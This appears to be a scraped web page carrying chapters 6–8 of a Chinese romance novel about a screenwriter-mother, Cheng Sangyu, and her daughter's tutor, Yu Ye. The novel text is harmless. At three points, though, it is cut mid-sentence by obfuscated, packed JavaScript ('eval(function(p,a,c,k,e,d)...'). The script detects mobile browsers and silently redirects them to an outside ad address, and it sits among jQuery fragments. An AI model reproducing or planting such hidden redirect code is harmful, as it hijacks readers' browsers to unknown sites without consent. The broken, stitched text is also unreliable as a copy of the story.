;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151192|164473||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
驶座车门,沈既明也就不好再坚持。
晚高峰的尾声,路上还有些堵,程桑榆开得心无旁骛、目不斜视——她驾龄七年,开车早已形成肌肉记忆,故意如此,是因为不知道跟一个明显对自己抱有好感的人,聊些什么比较合适,除了工作。
此刻累得很,最不想聊的就是工作了。
“程老师平常休息的时候,会做点什么?”沉默了好一会儿,沈既明忽然问。
“一般就是陪我女儿。”程桑榆回神,打起精神。
“我有一个朋友是独立摄影师,下个月有一场个人作品展,程老师想带小朋友去看吗?”
“几号?”
“展期比较长,从16号开始,持续一个月。感兴趣的话,可以联系我,我找朋友要几张票。”
“好的,我回头看看时间,谢谢你。”程桑榆笑说。
工作以来,非必要她一贯不给确切的答复,也不把话说死。
大约沈既明也能察觉到自己是被圆滑地敷衍了,一时不再说话。
坦白讲,要把沈既明放到两性市场上去评估,他绝对能划分进中上那一档,有一份持之以恒的爱好与事业,性格平和细心,待人真诚友善,长相身高也很优越,某些角度很像刮了胡子的小田切让,连那分稍显颓然的忧郁感也很类似。
但人的精力就这么一点,除了女儿和事业,她实在分不出来给其他了。
况且,恋爱婚姻的议题,在她这里已经彻底幻灭。
车开到了清水街路口。
程桑榆把车靠边临停,沈既明道声谢,下车去拿后座的背包。
程桑榆拿起支架上的手机,正要查看有无重要消息,忽听“铃”的一声。
下意识转头,去寻声音来处。
右边车窗外,一架自行车停在非机动车道上,车主弓着背,两臂撑在把手上,偏着头,正隔窗看她。
身上一件黑色T恤,灌满了风,鼓起来一瞬又贴下去,墨色发尾也在风里飞溅。
“下班了。”郁野说。
他说话的习惯,任何疑问句的疑问语气都很淡,变成确认事实的陈述句。
程桑榆瞥一眼手机上的时间,9点15分。
才想起周五的补习,郁野改到周四了。
“今天没吃夜宵吗?”程桑榆笑问。
这时候车身微晃,是沈既明摔上了后座车门。
他走到副驾门边,瞧了瞧隔着低矮栏杆的郁野,又转头看向车里的程桑榆。
程桑榆:“这我女儿的家教,刚刚下课。”
沈既明冲着郁野稍点了一下头。
郁野没给他任何反应。
沈既明没在意,同程桑榆说:“谢谢程老师。明天见。”
“明天见。”
沈既明后退两步,跨过低矮栏杆,上了人行道。
郁野仍是身体微俯在把手上的姿势,像沈既明这个插曲不存在似的,自然而然地回答起了她方才的问题:“没吃。”
他支起身体,懒淡的语气少见多了两分郑重:“你吃过了吗?”
“你的语气听起来好像打算请我?”程桑榆玩笑道。
“应该的。谢谢你上回送我。”
话的逻辑绕了一层,程桑榆反应了一下,又笑起来,“不用。哪里要你一个学生请客呀,况且家里就有。这里不能久停,我回家了,你也快回去吧。注意安全。”
非常明确的,不爽感。
不是因为被婉拒,而是好像,被当做小孩哄的轻微敷衍。
郁野点了点头,脸上的表情并没什么变化,只说了句“拜拜”,把目光收回。
6.06
自行车不必等红灯,直接驶过前方路口,汇入梧桐木下驳杂的光影里,消失不见,快得如同一阵风。
程桑榆泊好车上楼。
忙忘了没提前说,好在家里夜宵还有剩,她把锅里的面条捞出来,拿康蕙兰独家秘制的牛肉酱拌了拌,没什么胃口,就这样草草吃了一顿。
吃完准备去洗澡,对帮忙收拾碗筷的康蕙兰说道:“妈,置物架我明天早上起来帮你装,我今天有点累,想早点休息。”
阳台上的木质置物架服役十来年,终于不堪重负,以搁板连接处断裂的方式宣告罢工,还摔坏了康蕙兰数只花盆,前几天程桑榆紧急下单了一款不锈钢的。
“哦,那个小郁帮忙装好了。”
程桑榆脚步顿住,“什么时候?”
“言言做题的时候。他听见我在搬花盆,主动过来帮忙。把架子装好了,又帮我把阳台上的花盆全部整理了一遍,现在宽敞多了。”说话间康蕙兰放了碗筷,转身往阳台走,要领着程桑榆去见证他们的劳动成果。
程桑榆配合地过去瞄了一眼。
“小郁这个小孩,其实还是蛮热心的。”康蕙兰由衷称赞。
/
郁野在一家名叫“极擎科技”的民用无人机公司实习,最为繁忙的研发部门里,他和卓景阳一起做一些测试与调试的辅助工作,相对不需要受到加班节奏的影响。
周五下午六点,两人一同打卡,离开办公室。
“一起吃晚饭?”卓景阳说。
“今天没空……”
“又要赶着去做家教?”
郁野斜他一眼,补完自己被打断的话:“我妈生日。”
“哦。”卓景阳说,“是我妄自揣测了。你要回你妈那里去是吧?”
郁野淡淡地“嗯”了一声。
很难提起兴致,但不愿意也要去。
郁野十岁时,父母离异。半年后父亲郁长河再婚,两年后母亲叶琳再婚。
郁长河再婚不到半年,现任妻子就为他诞下了一个儿子,三年后又生了一个女儿。
另一边,叶琳的结婚对象与她一样是二婚,且与前妻育有一女。再婚后,叶琳又生了一个儿子。
换言之,郁野有一个异父异母的姐姐,一个同母异父的弟弟,一个同父异母的弟弟,以及一个同父异母的妹妹。
——几乎快要穷尽重组家庭兄弟姐妹的各种组合方式。
有时候在书籍、电视或者网络上冷不丁地看见“出生率下跌”的新闻,他都会笑一下,怎么全世界都在下跌,而最能生小孩的,偏偏就汇聚到了他的身边?
生日宴就在家中举行。
郁野到的时候,在客厅里发现了一个比他更不情愿出现的人,继父卢家栋和前妻生的女儿,他异父异母的姐姐,卢楹。
卢楹冷着一张脸,正坐在沙发一角,拿湿纸巾擦拭自己短衫的衣摆。那上面沾的是辣油一样的东西,因此这动作挺徒劳的。
“姐。”郁野打了声招呼。
卢楹抬头看了他一眼,没理他。
郁野目光扫过客厅,看见了跪坐在电视柜前,仰面看动画的,同母异父的弟弟卢梓宸。
七岁男孩每次做儿保,都会被医生勒令必须控制体重,否则很有可能影响身高发育。但现在看来,成效甚微。
此刻他正一边傻笑,一边把牛肉条无节制地塞进嘴里。
显然,这就是卢楹衣摆上那滴辣油的罪魁祸首。
郁野理解了卢楹为什么心情不好。
换谁谁生气。
郁野是最后一个到的,晚饭已经做好了,就等着他到了开席。
饭桌上,生日祝词之后,卢家栋和叶琳惯例关心起了卢楹和郁野的近况。
偏偏姐弟两人话少得不分伯仲,一番问询下来,反倒问得冷了场。
最后卢家栋干笑两声:“你们学习和工作都要注意身体,别那么辛苦,缺钱就跟家里说。”
卢楹说:“好。”
郁野说:“嗯。”
卢梓宸吃了零食,自然没肚子吃正餐,扒了两口饭就下了桌,跑去沙发上,踩着靠背去够斜后方墙壁壁龛里的一座奖杯。
水晶材质,是郁野上学期参加某机械设计大赛赢得的一等奖的荣誉。
那赛事是国际性质,含金量高,那次回家吃“庆功宴”,卢家栋特意问他,能不能就把这奖座放在家里。
朋友聚会,总得有些谈资,郁野这个非亲生儿子,往往是卢家栋低调炫耀的资本。
卢梓宸不够高,踮起脚尖也只够碰上壁龛边缘。
这时候叶琳注意到了他的动静,呵斥一声:“小心从沙发上摔下来!”
卢梓宸不情不愿地爬了下来,目光仍是恋恋不舍地望着壁龛。
很快,晚饭结束,卢家栋把一旁的卢梓宸喊过来参与家务。
几个盘子,也不够这么多人手分。
郁野把最重的汤碗放到了灶台上,估摸不再需要自己插手了,便往洗手间走去。
经过了沙发,踮脚,抬臂把壁龛格子里的水晶奖座往外一挪,挪到了最边缘。
等从洗手间出来,大家已经坐去客厅喝茶。
卢家栋一边沏功夫茶,一边努力撑着这谈兴不盛的局面。
郁野从卢家栋手里接过茶杯,垂眸喝茶。
一、二、三。
“啪!”
剧烈声响引得大家齐齐回头望去。
却见卢梓宸胖鹌鹑似的趴在沙发靠背上,整个人呆若木鸡。
沙发旁的大理石地砖上,水晶奖座四分五裂,溅射一地。
“卢梓宸!”卢家栋面色一寒,把水壶往桌上重重一搁。
男孩被拎进书房。
片刻,里头传来撕心裂肺的鬼哭狼嚎。
卢楹望向郁野,盯着他看了两秒钟,掏出手机,发了条消息。
Luna:[大拇指][大拇指]
YE:不客气。
蛋糕吃完,小坐片刻,郁野和卢楹无声达成默契,提出告辞。
四层高的别墅,不缺两个卧房,况且他们的卧室,一直依照原样保存。
但谁都不愿留宿,一个说要赶实习报告,一个说明天要值早班。
叶琳和卢家栋起身送客。
卢楹自己开车来的,先行一步。
郁野看向廊灯下站在叶琳身后的卢家栋,“叔叔,方不方便我跟我妈单独说两句话。”
望着卢家栋进屋,郁野将目光转到叶琳的身上。
背包单背在背上,他把它卸了下来,拉开拉链,从里面掏出一只包装精美的礼盒。
“生日礼物。拿最近做家教的钱买的。”
叶琳接过,惊喜极了,拿在手里反复地看:“你不是在实习吗,怎么又在做家教呀?忙得过来吗?别牺牲休息时间啊。”
“没事。”郁野低头,看着眼前的女人。他送的是一条珍珠项链,而她已经是满身的珠翠,不知道有没有位置,容得下这件礼物。
“妈,你上回说还没体验过游轮。我之前查了一点资料,最近一趟8月底启航,你如果有空的话……”
叶琳面露难色,“最近给梓宸报了一个体能课,得送他去上课。而且他现在是最调皮的时候,我要是走了,家里保姆肯定管不住他……”
郁野默了一瞬,“嗯。”
“抱歉啊小野,等国庆或者寒假……”
“妈!妈!”屋里卢梓宸尖细的叫声打断两人对话。
叶琳转头:“马上来了!”
再看向郁野,脸上已多了两分惭怍,“你是怎么过来的?我叫司机送你……”
“不用。我骑车。”
“那……那注意安全,头盔什么的记得戴好。”
“嗯。”
是从什么时候开始,叶琳从“妈妈”,变成了“半天的妈妈”,再变成了“十分钟的妈妈”。
郁野退后,转身,两步走下门
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155139|164473||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口的台阶,没再回头。
半小时后,郁野到家。
先没洗漱,带上被闷了整天的阿加莎出门遛弯。
泊月公馆1.5公里外有个很大的江滩公园,来回一趟3公里,再在公园里跑上两圈,这个运动量,对于阿加莎这种已经九岁的老年犬而言,绰绰有余了。
金毛以温驯出名,阿加莎又被打理得格外干净,走几步,便会碰见其他的犬主跑来互动。
郁野视心情决定,要不要让阿加莎表演一套坐下起立与握手。
显然他今天心情很不好。
遛萨摩耶的年轻女孩对阿加莎一番夸赞,问平日里吃的什么,怎么毛这么顺滑,顺势连招丢出真正目的:“方便加个微信交流一下经验吗?”
郁野淡淡地说:“不用微信。”
显然这个拒绝的理由,荒谬到叫人觉得被羞辱了,女孩蹙了蹙眉,拽一拽狗绳,把萨摩耶牵回来,绕过他俩离开了。
公园中心有个音乐喷泉,定点喷水。
阿加莎作为一条狗,却和爱凑热闹的小孩一样喜欢这个保留项目。
但今天去得晚了,前排已经站满。
阿加莎闪转腾挪,在人群的夹缝里替自己寻到了一个好位置,还把郁野拽了过去。
“哇!妈这只金毛好威风啊!——它怎么一直闻我啊?它是在闻爆米花吗?狗能吃爆米花吗?”
郁野微微扬了一下眉毛,循声望去。
仗着个高,目光轻易越过站在自己前面的人,看见人群最内圈,一手牵女孩,一手听微信语音条的女人。
基本可以肯定是工作消息,因为她听得直皱眉,却又不得不保持耐心。
她穿着白色T恤上衣,下身搭配蓝底黄花的伞裙;女孩穿了条连衣裙,花色与她的伞裙一模一样。她化了淡妆,女孩的头发也梳成双马尾辫。
非常醒目的一对母女。
郁野轻拍一下前面的人的肩膀,低声说:“抱歉,借过一下。”
这么借过了两三下,与阿加莎汇合了。
没有得到妈妈回应的女孩,望一望热情的阿加莎,又望一望手里的爆米花桶,表情纠结极了。
“不能。”郁野说。
女孩抬头,定睛,惊喜道:“郁老师!”
程桑榆闻声,本能抬眼。
她在团队里,作为编剧,对于演员挑选有比较大的话语权,虽然小作坊并没那么演员可选——因此留意人的外表,是一种下意识的职业习惯。
之前就觉得郁野的外形十分优越,现在把他放在熙攘的人群里再看,直接成了“惊鸿照影”的最好样本。
白色短袖上衣,雪意一样清绝,造物主像是单独为他开了一个图层,疏离于尘嚣之外。
普通人被他一衬托,各个成了批量生产,面目模糊的NPC。
“它闻你可能是因为,在我身上闻到过你家里的气味。”郁野解释。
程斯言露出“原来如此”的表情,“这是你的狗吗郁老师?叫什么名字啊?”
“阿加莎。”
“阿加莎·克里斯蒂的阿加莎吗?”
“对。”郁野轻拽一下绳索,“阿加莎,伸手。”
毛茸茸的前肢抬了起来。
斯言惊喜握住,转头:“妈!它会握手!”
程桑榆总算听完了最后一条语音,放下手机,说道:“这不是狗的基本技能吗?”
郁野顿了下,看向她,认真道:“阿加莎三个月就会了。”
程桑榆被莫名较真的好胜心逗笑:“那她很聪明了。”
郁野嘴角微扬。
“你们看了电影?”郁野望向斯言手里的爆米花桶。
斯言点头。
“饿吗?吃不吃夜宵?”郁野问。
“吃!”斯言答得干脆,话音落才想起自己不是拍板人,于是转过头去,眼巴巴望着程桑榆,“……吃吗,妈妈?”
程桑榆还能说什么:“走吧。”
7.07
程斯言和阿加莎一见如故,一定要挨着它坐。
郁野顺理成章地被赶到了副驾驶座。
斯言乐此不疲地与阿加莎玩着抬手握手的游戏,连连感叹它真是好聪明。
“妈。”
程桑榆看一眼车内后视镜。
“我可以养条狗吗?”
“不可以。我没办法同时照料你和狗。”
“我会照顾它的。”
“家里空间太小了。”
“可以养条小狗呢,博美什么的……”
“你学习忙,我工作忙,最后遛狗的任务就只能又麻烦姥姥了哦。”
斯言不说话了。
过了会儿,她忽然双手扒住副驾靠背,往前探头问道:“郁老师,你经常带阿加莎到江滩公园来玩吗?”
郁野说:“不固定。有时候就在小区里。”
“我周二和周四晚上会来江滩公园这边练习滑板,你可以把阿加莎带过来陪我一起玩吗?”
“斯言。”程桑榆出声,“不要给人添……”
郁野说:“当然可以。”
“耶!”斯言伸手。
郁野回头,轻笑一声,跟她击了一下掌。
程桑榆转头,看了郁野一眼,“我可没钱额外支付你加班费哦。”
郁野:“我好像也没要?”
“……”
吃夜宵的地方是家日式烤肉店,程桑榆和斯言常来。
程桑榆推开门,却见郁野驻足于店外,目光一一扫过贴在玻璃上的“禁烟”、“店内有WIFI”等各种指示图标。
“能带宠物的,进吧。”程桑榆说。
郁野转头,目光落在她脸上。
停顿了一瞬。
程桑榆有些莫名:“你不是在找‘宠物友好’的标志吗?”
“是。”
店铺藏在小巷子里,若非有人带路,很难找到,大约走的是靠口碑固定回头客的经营路线。
虽是周五,但已经过了晚餐的饭点,店里还有空桌。
程桑榆在固定的沙发长椅上落座,身旁是斯言。郁野坐在她对面,弯腰把牵引绳固定在了桌子一脚。
阿加莎大约有些累了,此刻在微冷的空气里趴了下来,开始打盹。
程桑榆是店里常客,店主同她打了声招呼,送来菜单。
正在点单,程桑榆手机响了。
简念打来电话,问她们电影看完没有,要不要出来吃点东西。
程桑榆:“正在点菜。”
“哪儿?加我一个。我带小周一起过来。”
“雲炉。不过我这儿还有别人,你不介意的话……”
“谁?”
“言言的家教。”
“我没事啊。你问问人家介不介意。”
程桑榆抬眼看向郁野:“我朋友过来一起,可以吗?”
郁野正在翻菜单,好似有点漫不经心地点了点头。
估摸人到齐了坐不下,程桑榆让店主把旁边的小方桌挪了过来拼到一起。
柴鱼冷豆腐和醋渍冰镇牛舌等冷盘小吃先端了上来,但大家都没有动筷。
斯言小口喝着大麦茶,问的问题仍旧关于阿加莎:“郁老师是从三个月开始就养它了吗?”
“捡的时候刚刚一个月。”
“是流浪狗啊?”
“应该是家庭繁育的,生病被人扔在宠物医院门口了。”
“好可怜。”
郁野没说话,手臂垂落下去,摸了摸阿加莎的脑袋。
当时也不让带回家,因为怕他三分钟热度。后来,家庭分裂了又重组,又增殖了一堆小孩,他也没有放弃它。
相比较起来,真正三分钟热度的人,似乎不是他。
十来分钟,玻璃门前悬挂的铜铃一声轻响,两个女人推开门,风风火火地走了进来。
程桑榆把手举起来挥了一下。
“桑我跟你说,小周帮我们谈了一个新的商……”简念话音一顿,目光瞥见整间店里最为醒目的年轻男人,不免多看了两眼。
帅或者美得很客观的人,引得旁人短暂失神,也是一种客观规律。
“什么商务?”程桑榆问。
“化妆品。恰好是你最喜欢的那个品牌。高兴吧?——植入的段子就交给你了啊。”
“你有没有一点人性,蹭我夜宵还给我派活。”
这边斯言挥了挥手,“简阿姨!”
简念立即走过去挤着斯言坐了下来,抓住她的手仔细端详:“言言你今天头发梳得真漂亮,裙子也好看。”
“裙子跟我妈是一套!”
“我看出来了!”
“简总,你可以不要夹子音吗?有点受不了……程斯言九岁不是九个月,你这么夹没有意义……”
简念毫不留情地一掌拍过去:“我跟我干女儿讲话有你插嘴的余地吗?”
“那我错了?”程桑榆憋笑。
“知道就好。”
郁野端起茶杯喝水,无法克制嘴角上扬。
闹了一阵,总算进入人物介绍的流程。
程桑榆分别指一指两人:“这言言家教,郁野;这我闺蜜,也是老板,简念。”
简念:“你好。”
郁野:“幸会。”
“冒昧问一句,郁同学你学的是什么专业?”
“能源与动力工程。”
“……不是艺术生啊?”
“嗯。”
“那你有兴趣做网红吗?”
“没有。”
程桑榆插话:“人堂堂南城大学的高材生,跑来我们小作坊做网红?”
“这种妄自菲薄的话我可听不得,现在多少小网红来找我,想来我们新剧里蹭个角色。”
“谁答应谁写剧本。”
“我没答应啊,都说了这部剧以你为主导。”
服务员将炉子开了火,依次端上牛五花、壶渍横膈膜、厚切牛舌等食材。
郁野顺手将盘子往另一端挪了挪,腾出上菜空间,又随意问道:“什么剧?”
“短剧。”简念答。
“程老师写的?”郁野抬眼看程桑榆。
“对。”
“什么题材?”
“你感兴趣啊?那你给我们贡献一个点击量吧。我们剧讲的是结婚多年……”
“别说别说!”程桑榆忙去捂嘴。
“害羞什么,数据这么好的剧,你应该感到骄傲。”简念拨开了程桑榆的手,“结婚多年没有生育婆婆刁难丈夫出轨小三上门被逼离婚,离婚当天酩酊大醉错入房间与极品帅哥翻云覆雨,两周后发现自己意外怀孕去新公司报道结果一夜情对象竟是公司CEO……”
郁野脸上浮现“当我反应过来自己听到了什么已经来不及了”的复杂表情。
程桑榆恨不得把脸埋进寿喜锅的汤锅里。
简念一口气说完,转头看向程斯言:“当然以上都是不对的,言言你不要学。”
斯言懵懵地点点头。
郁野:“很……跌宕起伏。这是几集的内容?”
“一集。”
“……信息密度很高。”
“短剧就是这么短平快。”
“剧名叫什么?”
“《被离婚后我怀了上司的崽》。”
郁野把手机掏了出来。
程桑榆拼着最后一口气,伸手一把扣住他的手腕,“你别搜!”
郁野一下顿住。
手指温热,掌心略有薄汗,攥得很紧。
像有什么把呼吸也一把掐断,略微缺氧而出现短暂眩晕。
虽然认识不久,但印象里,她始终是个处理一切或宏大或锱铢的现实问题,松弛从容里掺杂几许疲惫的,标准的成年人。
此刻却窘得满脸通红,不知所措。
“好。我不搜。”郁野轻声说。
她没有立即放手,盯住他,像是确定他会说到做到,才松开了手。
转头便去羞愤地斥责闺蜜:“有你这么公开处刑的吗!”
“哪有!这难道不好看?不好看会有百万点击?”
一旁做商务对接的小周也用数据增加说服力:“第二集播了以后我们商务问询量增加了500%,而且都是面向女性群体,调性不错的品牌。”
“数据好和好看根本是两回事……”
“那你写剧本的时候完全没有爽到吗?霸总帮女主角打脸恶婆婆的时候你没有爽到吗?”
“……”
简念拍拍她的肩膀,“我都不知道你思想包袱这么重,明明你在片场看见男主复现名场面还挺开心的。”
“这真的是两回
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159687|164473||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事……”程桑榆虚弱辩解。
“你觉得是两回事就是两回事吧。”简念耸耸肩,决定找个第三方评判一下,于是转身问一旁的店主,“老板,你听了剧情梗概会想去瞅一眼吗?”
“我已经在追了啊。”店主笑说,“所以什么时候霸总才能发现女主怀孕了?”
“这是个钩子。再钓你们几期再说。”简念笑说。
“那前夫的小三是真怀孕了吗?还是骗人的?”
“这就不能剧透了。”
程桑榆发现,有创作羞耻症的人就得脱敏治疗,听简念与店主这么一来一去地深入探讨,她好像已经是一条暴晒脱水的死鱼,不会有太多的反应了。
店主最后冲程桑榆比了个大拇指,“加油。你们这桌的可尔必思我买单。”
程桑榆:“……我们也就只点了一杯可尔必思。”
一直垂眸盯着自己手腕,思绪神游的郁野,终于回神,懒洋洋举手:“麻烦再来一杯。”
店主哈哈大笑,转身真去亲自调了一杯草莓可尔必思,又亲自送来。
装在玻璃杯里,漂亮的浅粉色,冰块碰撞发出清脆声响。
杯子被放到了郁野的面前,他端了起来,递给程桑榆。
“……我不能喝冰。”程桑榆尴尬地说。
“哦……”郁野顿了一下,拿回杯子,“抱歉。”
这一顿夜宵,气氛基本由简念主导。
郁野很甘心游离于话题之外,替几位女士烧烤,和斯言小朋友聊两句闲话,或者把吃剩的牛肉丢给阿加莎。
一直到所有肉类基本被消灭干净,而在座诸位也陷入酒饱饭足之后微微呆滞的状态。
程桑榆:“准备走?”
简念和小周都说好。
程桑榆起身,提起链条小包,对店主说:“老板买单。”
“已经买了啊。”店主扬下巴,点一点,“这位帅哥买的。”
被点到名的某帅哥正弯腰解牵引绳,仿佛没听到一样。
“什么时候买的?”压根没看见他离开过座位。
“扫码啊。”
“……”程桑榆抬手,“小票给一个,我报账。”
简念:“你看财务给不给你报。”
“小气。”
程桑榆从店主手里接过小票,瞟了眼总金额,随手揉进提包。
一行人起身,往外走去。
郁野走在最前,推开门,掌住把手,等所有人都走出去,将手松开。
大家站在门口,商量怎么走的问题。
简念点开手机某打车软件:“我打车。”
小周:“念姐我可以蹭一段吗?”
“行啊。”
程桑榆看向郁野。
郁野:“我和阿加莎步行回家。”
“这里离你家挺远的,两公里多。不用我捎你一程?”
“不用。跑一跑就到了。”郁野将牵引绳放到最长,似真要夜跑回家。
“哎你等下。”程桑榆朝他走近,“吃饭的钱,我转给你。”
“你可以转,我不会收。”
“你还是学生,用的是父母的钱……”
“我自己挣的。”
“那也不能……”
郁野退后一步,将绳子挽了一下,“走了。拜拜。”
“哎……”
郁野已经转身。
程桑榆不勉强,打算另找个办法看看能不能请回去。
这边,简念已经打到车了,正在等司机开过来。程桑榆挽住斯言的手,预备走过去跟她打声招呼再去泊车的地方。
忽听身后一阵急促脚步。
程桑榆顿步回头。
是郁野跑了回来。
“忘了说……”郁野低头看她,路灯光在他背后,把浓黑短发晕出浅金光晕,眼睛匿于晦暗,看不清情绪。
声音是清晰的,没有被世俗浸染出陈词滥调,干净而平静的音色:
“我不会搜,题材也确实不是我平常涉猎的领域。但是阳春白雪和下里巴人只有受众之分,没有贵贱之别。”
程桑榆怔住。
“加油。”郁野再次后退一步,转身,牵着阿加莎就这样走了。
到了下个路灯处,快步变成了小跑,轻捷漂亮的背影,很难不叫人联想到白鹤一类的形容。
8.08
赶在程桑榆转过头来之前,简念收起双臂抱胸的标准看戏姿态。
只有丁点苗头的事,不好立即下断言。
“我说你多少有点不厚道。”简念说。
程桑榆莫名:“我怎么了?”
“遇到帅哥藏着掖着不分享一下。”
“……难道我拿手机偷拍吗?”
“朋友圈总有照片?我就不信长他这样能憋得住,怕是墓志铭上都要刻上身高187。”
“你怎么知道是187?”
“目测的。”
“……”
“别不信。误差不超过2厘米,不然你问他。
“我为什么要问?比姚明高也不关我的事。”
简念笑笑:“微信有吗?瞅瞅。”
“你车几分钟到啊。”
“还远呢。”
程桑榆扛不住简念一径儿念叨,只好掏出手机,点开微信上滑列表找郁野的账号。
他头像是一只趴着打盹的金毛——现在她知道是谁了——挺好找的。
点开,再点头像。
“好了没?”简念手肘轻撞她一下。
【我拍了拍“家教|郁野”】
“……”
“Sorry。”简念毫无诚意,笑着耸耸肩,伸手点开头像,再点击朋友圈。
朋友圈封面是一片草地,配合打盹的头像,好像阿加莎就趴在草地上小憩一样。
没设可见时间范围,发的内容不多,除了狗还是狗。
简念是个根据朋友圈内容进行用户画像的高手,翻完,迅速下了结论:“90%可能性是立爱宠人设直钩钓鱼的顶级渣男。”
“还有10%的可能性呢?”
“他可能是真的爱狗吧。”
程桑榆笑:“不是……你到底为什么突然要研究他,对他感兴趣啊?”
“我什么牙口也吃不下这么嫩的草啊。”
手机一振。
【家教|郁野:?】
【csy:不好意思给你改备注手滑了一下。】
郁野没再回复了。
这时,斯言抬起头来望了望两人:“简阿姨,你们是在聊郁老师吗?”
程桑榆忙说:“不是宝贝,我们在聊……一个健身教练。”
“哦。”
程桑榆横了简念一眼,警告她,不许再口没遮拦。
/
8月14日是斯言的生日。
平日里程桑榆一向跟唐家井水不犯河水,但女儿生日这种场合,避无可避。
最近新开一家概念餐厅,热度正盛,一座难求。
唐家却早早定下餐厅最大一间包房,敲定二十来人的宾客名单。
离婚以后,唐家特别爱在这种场面上的地方下功夫,似乎微妙存在一种较劲心理——务必要把女方比下去,以证明斯言当初选择跟妈妈生活,是个极其错误的决定。
而这正是程桑榆特别骄傲的地方:
斯言是个不大会被物质收买的孩子,不知道是天生,还是她在幼年时期,玩具、零食、陪伴等各方面的需求都被很好满足了,她对那些光鲜亮丽的东西,没有太过深入的兴趣,即便偶尔被短暂吸引,看透华而不实的本质之后,也就弃之敝履。
这个派对也是,布置得多么梦幻漂亮都不重要,只要她最好的朋友董星灿出席了,这个生日对她而言就是完美的。
派对五点开始进场,除了两方家长,就是斯言相对要好的同学。
程桑榆难得简单打扮,头发盘起来,穿一条版型简约的方领白色连衣裙,浅金细链串起小小一粒吊坠,托在锁骨之间,低调不失精致。
她正在给斯言的一位同学指洗手间的位置,身后传来一声笑:“大忙人今天不加班?”
程桑榆懒得理会,只服务眼前的小朋友:“前面,左拐那个挂着黑色布帘的房间就是。需要阿姨陪你一起过去吗?”
“不用!谢谢阿姨!”
小朋友走了,程桑榆也就径直往里走去。
“程桑榆,跟你说话呢。”唐录生笑着跟了上来。
“忙不忙关你屁事。”
“我也没说什么啊,干嘛恶言相向啊?”
“我神经衰弱,听不得苍蝇在我耳边嗡嗡嗡。”
唐录生不怒反笑,还要再说什么,简念已经一个箭步冲上来,把程桑榆往她身旁一拉。
十足护犊子的架势。
唐录生对简念深恶痛绝,但确实不敢惹她,程桑榆为了女儿面子还会有所顾忌,简念就不一定了,这个女人疯起来是真的疯。
读高中的时候,她们班上有个男生骚扰程桑榆,简念不知道用了什么办法,把那个男生整得请了一周的病假,再见到她俩直接跟躲瘟疫一样绕道而行。
唐录生无奈一笑,举起双手做投降状,转身退步,去找女儿打招呼。
斯言正与几个小伙伴热火朝天地商议,下周结伴去看小黄人前传,被点到名时笑容一敛,慢吞吞地朝唐录生走过去。
“爸。”
唐录生蹲身,手抬起来比个高度,笑说:“长高了是不是?”
“嗯……一厘米。”
“我听你们说下周要上映小黄人,要不要爸爸陪你一起看啊?”
“……我想跟灿灿一起。”
“不跟爸爸一起啊?爸爸好不容易能抽出时间。”
斯言抿住唇,不作声了。
“逗你的。爸爸肯定尊重你的意见。”唐录生笑说,“你最近补课进度怎么样?快上完了吗?”
“还差一点。”
唐录生点点头,又把她从头到脚打量一遍,“裙子你妈给你挑的吗?这个样式是不是有点显老气?”
“……我自己挑的。”
这时候董星灿喊了一声:“言言你快过来看孟落笛舅舅送她的手表!”
斯言忙说:“爸,那我过去了?”
唐录生点点头放行:“去吧。”
目睹全程的简念把白眼翻上天:“他是不是当斯言才三岁?”
“每天下班回家逗十分钟就觉得自己已经完成了育儿任务的人,你指望他?”程桑榆见怪不怪。
人到齐,斯言奶奶王书珍招呼服务员开始上菜。
为了叫斯言和她朋友吃得尽兴,所有小朋友单坐一桌,菜色也都投其所好。
程桑榆偶尔过去招呼,但似乎用不着她操心,斯言和她好朋友董星灿小大人似的,把所有同学招呼得好好的。
至于大人这一桌,唐录生这两年生意做得越来越大,名头也越来越响,各行各业都有说得上话的人。
他最近又签了一笔大订单,即便他想低调,也有人自发为他旌表,饭桌最终沦为了溜须拍马的战场。
坦白讲唐录生这副皮囊称得上是英俊,读书那会儿就能在班里评个班草,否则程桑榆也不会高二的时候就开始偷偷与他早恋。
年逾而立也没有放弃身材管理,而今再有能打败90%同龄人的事业加持,整个人由内而外地自信从容。哪怕不给人买卡地亚,也自会有女人前赴后继地往他身上贴。
而程桑榆厌恶就厌恶在,他完全成了这个绩优主义社会里,一个标准而完美的样本。
他越成功,她过去日夜的隐痛,越会被评价为“不知好歹”。
“桑榆。”
出声的是唐录生的一个朋友,名叫贺莎,因为小孩比斯言大了一岁,在斯言刚出生那一阵,给程桑榆提供了不少的种草建议。但脾性合不来,一起玩过几次以后,私底下程桑榆就没在和她往来,只在一些共友的聚会上看见过她。
“唐录生说你和朋友在自媒体创业是吗?”贺莎问道,“你们账号多少粉丝啊?”
“全平台加起来有七八十万了吧。”
